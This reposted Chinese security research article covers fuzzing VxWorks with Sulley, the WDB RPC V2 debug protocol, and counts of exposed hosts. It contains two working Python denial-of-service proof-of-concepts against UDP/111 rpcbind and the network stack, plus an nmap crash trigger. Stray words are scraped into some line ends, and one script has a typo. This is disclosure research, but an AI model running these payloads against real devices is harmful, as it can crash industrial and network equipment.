轉載:freebufhtml
0×00 前言python
關於VxWorks,這裏引用44CON議題《攻擊 VxWorks:從石器時代到星際》探究 一文章中的介紹:git
VxWorks 是世界上使用最普遍的一種在嵌入式系統中部署的實時操做系統,是由美國WindRiver公司(簡稱風河公司,即WRS 公司)於1983年設計開發的。其市場範圍跨越全部的安全關鍵領域,僅舉幾例,包括火星好奇心流浪者、波音787夢幻客機、網絡路由器。這些應用程序的安全高危性質使得VxWorks的安全被高度關注。
VxWorks操做系統是由美國Wind River(風河公司)開發的一種嵌入式實時操做系統(RTOS),已宣稱擁有至少15億臺設備,VxWorks支持幾乎全部現代市場上的嵌入式CPU架構,包括x86系列、MIPS、 PowerPC、Freescale ColdFire、Intel i960、SPARC、SH-四、ARM, StrongARM以及xScale CPU。
在2015年9月9日-11日舉辦的44CON倫敦峯會中,Yannick Formaggio介紹了他對VxWorks進行深刻安全研究的方法,他採用了Fuzzing框架Sulley對VxWorks系統的多個協議進行了Fuzzing,挖掘到一些漏洞,並結合VxWorks的WDB RPC實現了一個遠程調試器,進行了相關調試分析。github
其中不少實現及漏洞細節沒有公開,咱們搭建了VxWorks 5.5及VxWorks 6.6的x86虛擬環境,參照Formaggio的方法,對VxWorks進行了初步的安全研究,本文將對相關研究細節及結果進行介紹。編程
本文內容包括:windows
1. 漏洞概覽
2. 安裝Fuzzing框架Sulley & 相關協議Fuzzing
3. VxWorks WDB RPC V2分析
4. 暴露在互聯網中的VxWorks WDB RPC V2服務!!!
本文沒法涉及全部研究細節及方法,所以提供以下相關資料以供補充參考:api
* Sulley官方文檔:git項目目錄文件sulley/docs/index.html
0×01 漏洞概覽
咱們復現了Formaggio指出的安全問題,沒有發現新的問題,這些漏洞詳情以下:
網絡棧問題
* 漏洞描述:某些5.x版本的VxWorks系統在短期內接受到大量的網絡數據包,會形成網絡棧崩潰,致使VxWorks沒法再與外界主機通訊。在部分狀況下,終端會給出錯誤信息,報錯信息以下圖:
這裏須要指出的是,有的狀況下漏洞觸發成功而形成DoS後,VxWorks終端並不會輸出
interrupt: panic: netJobAdd: ring buffer overflow!
的提示,但此時VxWorks的網絡棧已經崩潰,已沒法再與外界通訊,這一點能夠經過持續ping來進行驗證。
如上錯誤提示通常會在收到的數據包量很是大的狀況下才會出現。
* 影響版本:部分5.x版本
* 驗證方式:
1. 執行nmap命令(可能須要執行屢次) _sudo nmap -sU -p110-166 -r -T5 -n 192.168.1.111_ ,其中192.168.1.111爲運行VxWorks 5.5版本的主機IP,在收到上述掃描數據包後,VxWorks主機並無錯誤提示,可是網絡棧已經崩潰,沒法再與外界進行通訊。
2. 對tcp/21運行的FTP服務連續發送體積極大的FTP請求數據包。
3. 也可用以下Python代碼驗證該問題:
import socket UDP_PAYLOAD = '\x72\xfe\x1d\x13\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa0\x00\x01\x97\x7c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' def poc1(host, rpcPort=111, pktNum=6859): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for i in xrange(pktNum): sock.sendto(UDP_PAYLOAD, (hvcost, 111)) def poc2(host, rpcPort=111, portNum=26): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for port in xrange(rpcPort, rpcPort+portNum+1): sock.sendto(UDP_PAYLOAD, (host, port)) if __name__ == '__main__': import sys poc1(host=sys.argv[1], rpcPort=111, pktNum=100000000) #poc2(host=sys.argv[1], rpcPort=111, portNum=27)
rpcbind服務問題
* 漏洞描述:rpcbind服務是SUN-RPC的一部分,在VxWorks系統中該服務監聽在tcp/111及udp/111端口,攻擊者向該端口發送通過特殊構造的數據包,可以使rpcbind服務崩潰,精心構造的請求可能能夠形成任意代碼執行。終端會給出錯誤信息,報錯信息以下圖:
* 影響版本:5.x & 6.x
* 驗證方式:可用以下Python代碼驗證該漏洞:
import socket PAYLOAD_HEX = 'cc6ff7e200000000000000020001a086000000040000000488888888000000110000001100001111111111111111111111111111' def poc(host, rpcPort=111): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(PAYLOAD_HEX.decode('hex'), (host, rpcPort)) if __name__ == '__main__': import sys poc(sys.argv[1])
0×02 Sulley 安裝 & 協議Fuzzing
Formaggio使用Sulley對VxWorks進行Fuzzing,咱們學習他的方式,嘗試實現基於Sulley的Fuzzing。
安裝Sulley
關於Sulley的安裝,官方有給出較爲詳細的文檔:
* Sulley – Windows Installation
FreeBuf也有文章對上述文檔進行了翻譯:
* 在滲透測試中使用fuzz技術(附windows安裝指南)
這裏簡單給出咱們的安裝過程,環境Win7 x86:
1. MinGW
* 下載
* 安裝時,在"Select Components"對話框中,除了默認選項,還需勾選"C++ Compiler"和"ObjC Compiler"
2. 下載並安裝Python 2.7 x86版本(請安裝2.7.2版本,高版本如2.7.11在後續編譯libdasm步驟中可能出錯)
3. 下載並安裝Git for Windows
4. 將C:\Python27和C:\MinGW\bin加入到系統環境變量$PATH中
5. pydbg
* 下載: C:\sulley_build>git clone https://Fitblip@github.com/Fitblip/pydbg.git
* 編譯安裝:C:\sulley_build\pydbg> python setup.py install
6. libdasm
* 下載(牆)並解壓
* 編譯: C:\sulley_build\libdisasm\pydasm>python setup.py build_ext -c min2
* 安裝: C:\sulley_build\libdisasm\pydasm>python setup.py install
7. 下載並安裝WinPcap
8. 下載[WinPcap Dev Kit(WpdPack)]()
9. PCapy
* 下載並解壓
* 編譯(需指定WpdPack中的include目錄及lib目錄): C:\sulley_build\pcapy-0.10.5>python setup.py build_ext -c mingw32 -I "C:\sulley_build\WpdPack\Include" -L "C:\sulley_build\WpdPack\Lib"
* 安裝: C:\sulley_build\pcapy-0.10.5>python setup.py install
10. 下載並安裝setuptools和pip
11. 安裝impacket: pip install -U impacket
12. Sulley
*下載: C:\sulley_build>git clone https://github.com/OpenRCE/sulley.git
* 確認process_monitor.py正常工做(無import異常): C:\sulley_build\sulley>python process_monitor.py
* 確認network_monitor.py正常工做(正常會打印網卡列表): C:\sulley_build\sulley>python network_monitor.py
FTP協議 (tcp/21) Fuzzing
* FTP協議中不少命令須要在登陸後才能執行,咱們主要關注未登陸的狀況。
* github上已有人公開了基於Sulley的FTP Fuzzing程序,咱們直接用其進行Fuzzing,該腳本ftp.py fuzz的協議字段節點圖以下:
fuzz結果:
* 6.6版本無影響。
* 5.5連續發送極大的FTP請求包時,會形成ring buffer overflow,致使VxWorks沒法進行網絡通訊。該問題也屬於上文中已經提到的網絡棧問題,不屬於FTP協議問題。
Sun RPC協議 – rpcbind服務(tcp/111 udp/111) Fuzzing
* 關於Sun RPC的細節能夠參考以下文檔:
1.Unix網絡編程 卷二 第二版 第16章
2.ONC+ Developer's Guide – Appendix B RPC Protocol and Language Specification
* 根據協議咱們實現了Fuzzing腳本rpcbind.py,其中使用到了後文中將提到的wdbdbg.py,以記錄崩潰時調試信息、實現VxWorks主機的自動重啓等功能,fuzz的協議字段節點圖以下:
* 其中common_fields爲一些結構統一的字段共同構成的彙總request,它包含以下協議字段:
後續爲一些變長字段,請參照協議說明及rpcbind.py代碼,再也不贅述。
* Fuzzing結果: 5.5及6.6版本均測試出18處崩潰點,經過觀察結果中的寄存器狀態,都屬於一類,該漏洞僅形成tPortmapd服務崩潰,對其餘服務沒有影響。該漏洞Formaggio在44 con上進行過詳細分析。
0×03 WDB RPC
要實現自動或半自動化Fuzzing一般需解決以下問題:
* 隨機或是隨機的方式生成大量協議數據包:(本次由Sulley生成)
* 將生成的數據包發送給被測試組件/服務 (本次需基於Sulley實現針對特定協議的Fuzz腳本)
* 檢測被測組件的狀態,如是否可以響應、響應是否正確等(難點)
* 獲取組件異常信息,如崩潰緣由、內存內容等 (難點)
* 被測組件環境復原,如重啓
對於VxWorks的Fuzzing,解決如上難點就須要一個VxWorks調試器,經研究得知,VxWorks的開發組件中的調試器工做時基於WDB RPC協議經過TServer與VxWorks 的TAgent模塊通訊,所以WDB RPC便是關鍵所在。
WDB RPC有V1和V2兩個版本,VxWorks 5.5中使用V1版本,而VxWorks 6.6中使用V2版本,V2版本相較於V1版本有較多處修改,具體體如今協議字段及交互方式。
rapid7在Shiny Old VxWorks Vulnerabilities一文中指出了WDB Agent服務的安全隱患,並給出了相關探測和利用腳本:
* metasploit-framework/modules/auxiliary/scanner/vxworks/wdbrpc\_version.rb
* metasploit-framework/modules/auxiliary/scanner/vxworks/wdbrpc\_bootline.rb
* metasploit-framework/modules/auxiliary/admin/vxworks/wdbrpc\_reboot.rb
* metasploit-framework/modules/auxiliary/admin/vxworks/wdbrpc\_memory\_dump.rb
這些腳本都是針對WDB RPC V1的,對V2版本的WDB RPC服務並不能有效的探測和利用。
所以本文再也不討論V1版本的協議,僅分析V2版本。
首先咱們來了解什麼是WDB RPC,WDB RPC是一個基於SUN-RPC協議的調試接口,它的服務運行在UDP協議的17185端口上,WDB RPC被包含在VxWoks TAgent模塊中,利用WDB RPC調試接口不但能夠直接訪問系統內存,還能夠監視VxWorks系統全部組件工做狀態,當組件發生異常時TAgent經過TServer主動通知當前鏈接的Debugger,以下圖(參考自Wind River Documentation)
若是咱們安置一個監視器(VxMon)充當TServer的身份,摸擬Debugger與VxWorks OS 的TAgent模塊通訊,那麼當VxWorks OS組件發生異常時,VxMon能夠從TAgent得到異常通知,繼而利用WDB RPC 接口再獲取異常相關信息,從而解決以上技術難點。
(參考自Wind River Documentation)
WDB RPC V2 協議分析
請求數據包
WDB協議基於SUN-RPC,WDB RPC請求包以下圖構造(引用自Wind River Documentation):
從上圖咱們能夠得知,標準的WDB RPC請求包含以下信息:
* IP Header
* UDP Header
* RPC Request Header
* WDB Parameter Wrapper
* Function input parameters
在WDB RPC 請求包中,WDB Parameter與Function input parametes兩個字段 爲重點內容,WDB Parameter Wrapper內容包含整個請求包的大小,校驗和及請求系列號,Function input parameters 爲請求功能號的攜帶輔助信息。
響應數據包
WDB RPC應答包,以下圖構造(引用自Wind River Documentation):
從上圖咱們能夠得知,標準的WDB RPC應答包中含以下信息:
* IP Header
* UDP Header
* RPC Reply Header
* WDB Reply Wrapper
* Function output
在WDB RPC 應答包中,WDB Reply Wrapper與Function output兩個字段 爲重點內容,WDB Parameter Wrapper內容包含整個請求包的大小、校驗和及應答系列號(在每一個請求與應答中,應答與請求系列號一致),Function output包含應答的輸出信息,爲請求功能號的返回信息。
實現 VxMon 與 VxWorks OS – TAgent模塊 通訊
V2版本的WDB RPC與V1版本最大的區別在於,在發送各種請求(如獲取VxWorks版本BSP信息等的請求WDB\_TGT\_INFO\_GET)時,V1只用發送對應的請求包便可。而V2維護了一種相似Session的機制,在發送各種請求前,須要發送一個鏈接請求包(WDB\_TARGET\_CONNECT)以成功鏈接至TAgent,對於每一個Session中的多個請求包(包括鏈接請求包),它們的SUN RPC -> Transaction ID字段及WDB RPC -> sequence字段的值需是連續遞增的,不然就會收到包含錯誤的響應包。
* WDB\_TARGET\_CONNECT
VxMon發送請求調用過程:VxMon請求鏈接至目標,功能號爲WDB\_TARGET\_CONNECT
TAgent應答過程:目標鏈接至VxMon(包含TAgent基本信息)
* WDB\_TGT\_INFO\_GET
VxMon發送請求調用過程:VxMon請求獲取目標信息,功能號爲WDB\_TGT\_INFO\_GET
TAgent應答過程:在應答包中會含有Vxworks目標機不少信息。如系統版本,大小端,內存分配 等等。
* 崩潰檢測機制
前提是咱們有意構造對VxWorks組件攻擊程序,當攻擊進行後,VxWorks其中一個組件會被攻擊發生崩潰。當VxWorks OS 組件發生崩潰時,TAgent會主動的通知VxMon發生異常事件。
當VxMon接收到EVENT NOTICATION消息時,應當當即回覆包WDB\_EVENT\_GET包確認,不然VxWorks 會一直循環通知該消息。經過WDB\_EVENT\_GET消息,能夠獲取異常緣由,異常組件任務ID及異常地址等信息,詳細分析見下。
TAgent異常信息通知過程:當VxWorks組件崩潰時,TAgent發送以下字節碼通知VxMon:
VxMon確認過程:VxMon發送WDB\_EVENT\_GET請求包進行確認:
TAgent應答過程:當TAgent接收到WDB\_EVENT\_GET請求時,將異常隊列表中的異常信息發送給VxMon。
從WDB\_EVENT\_GET應答包(上圖)中咱們能夠得知Task Conext爲0x79622C任務已崩潰,
同時咱們從VxWorks系統提示也獲得了驗證(task 0x79622c has had a failure and has been stopped),以下:
接下來主機請求更多的信息,如崩潰時寄存器內容,內存區域,異常代碼。
經過VxMon發送WDB\_REGS\_GET請求,能夠獲取異常寄處器內容。
經過VxMon發送WDB\_MEM\_READ請求,能夠獲取異常地址的執行代碼。以下:
代碼
咱們用Python封裝瞭如上所述的功能,代碼請移步至wdbdbg.py,其中須要用到第三方模塊capstone,請自行安裝。
0×04 暴露在互聯網中的VxWorks WDB RPC V2服務!!!
WDB RPC的功能如此完備,就成了一把雙刃劍。因爲它自己沒有身份認證的功能,所以可以與VxWorks主機17185端口通訊就能夠調用它。若是使用它的是黑客而非開發調試人員,就可能形成極大危害:
* 監視全部組件(服務)狀態
* 惡意固件刷入、後門植入
* 重啓VxWorks設備
* 任意內存讀寫
* 登錄繞過
* ...
Kimon在其 揭祕VxWorks——直擊物聯網安全罩門 一文中詳盡地介紹了各類利用WDB RPC的攻擊方式,所以本文再也不一一列舉。文中Kimon還給出了z-0ne的關於WDB RPC的全球統計:
經過Zmap調用wdbrpc-scan腳本掃描全網暴漏端口IP數約5萬+,其中3.4萬能讀取到系統信息和bootline信息。
數量按國家分佈Top10:
中國: 7861
美國: 5283
巴西: 3056
意大利: 1025
日本: 823
俄羅斯: 647
墨西哥: 505
哈薩克斯坦: 486
澳大利亞: 481
印度: 448
數量按VxWorks系統版本號統計:
VxWorks5.5.1 15601
VxWorks5.4.2 6583
VxWorks5.4 5410
VxWorks5.4.2 5254
VxWorks5.5 899
VxWorks 654
VxWorks5.3.1 236
數量按設備信息統計Top10:
Telogy Networks GG30E Reference Board 3674
TI TNETV1050 Communication Processor 3360
Motorola MPC82xx ADS - HIP7 2626
IP-ADSL DSLAM (MPC860/855T) 1972
HUAWEI ET&IAD 1796
MPC8245Board: EDSL , Map B (CHRP) 1678
PowerPC 875, 133MHZ 1553
Mips 4KEc 1239
MGCB 912
Intel IXP425 - IXDP425 BE 887
其中受影響的PLC模塊型號:
羅克韋爾Rockwell Automation 1756-ENBT固件版本爲3.2.六、3.6.1及其餘
西門子Siemens CP 160四、Siemens CP 1616
施耐德Schneider Electric 昆騰部分以太網模塊
z-0ne的統計很是詳盡,但從版本分佈能夠觀察到,他探測及統計的是WDB RPC V1版本。
ZoomEye團隊也對暴露在互聯網中的WDB RPC服務進行了探測,全球IPv4網絡空間中共有52586個主機運行着WDB RPC服務,其中:
* 運行V1版本WDB RPC服務(即運行VxWorks 5.x版本的主機)的IP共30339個,數量較z-0ne在2015年11月1日統計得出的3.4萬有所減小。
* 運行V2版本WDB RPC服務(即運行VxWorks 6.x版本的主機)的IP共2155個。
* 運行未知版本VxWorks的主機20093個。這些主機對V1和V2版本的WDB\_TGT\_INFO\_GET請求,都沒有返回咱們指望的WDB\_TGT\_INFO格式的結果,而是返回了長度較短的錯誤響應數據包,但其格式符合WDB RPC的響應格式,所以基本能夠說明這類主機運行着WDB RPC服務,即運行着VxWorks系統,但版本未知。該問題值得進一步研究。
關於V1版本服務的結果統計,咱們獲得的結果與z-0ne相近,本文再也不贅述,這裏主要給出運行V2版本WDB RPC服務的共2155個主機的統計:
* 國家分佈統計TOP 10:
須要指出的是,其中位於中國的有7個。
* VxWorks 6.x版本統計
* 芯片/電路板 統計
能夠看到使用VxWorks 6.x的芯片或集成開發板與5.x版本的統計結果差異很大,因爲VxWorks 6.x版本相較於5.x版本更爲穩定,所以更多地運用於對穩定性、可信及實時控制要求更高的系統中,從上表中芯片或集成電路板的特性就能夠看出這一點。
利用WDB RPC V2,能夠嘗試進一步肯定使用這些芯片或集成開發板的設備的品牌或型號,並對這些設備進行進一步控制,玩法與Kimon介紹的WDB RPC V1版本相似,有興趣的同窗能夠繼續深刻。
0×05 總結
本文介紹瞭如何基於Fuzzing框架Sulley實現基於對VxWorks 5.5和6.6系統的FTP服務和Sun-RPC rpcbind服務的自動化Fuzzing,並介紹了在實現VxWorks 6.6自動化Fuzzing過程當中必不可少的WDB RPC V2協議,最後對暴露在互聯網中的WDB RPC V2協議進行了探測,並給出了相關統計。
咱們能夠看到,將WDB RPC服務暴露於互聯網中的危險性極大,但它是使用VxWorks系統的硬件設備的系統開發人員不可或缺的工具,在開發過程當中須要開啓它,但在編譯出廠設備的VxWorks系統時必定要將其關閉。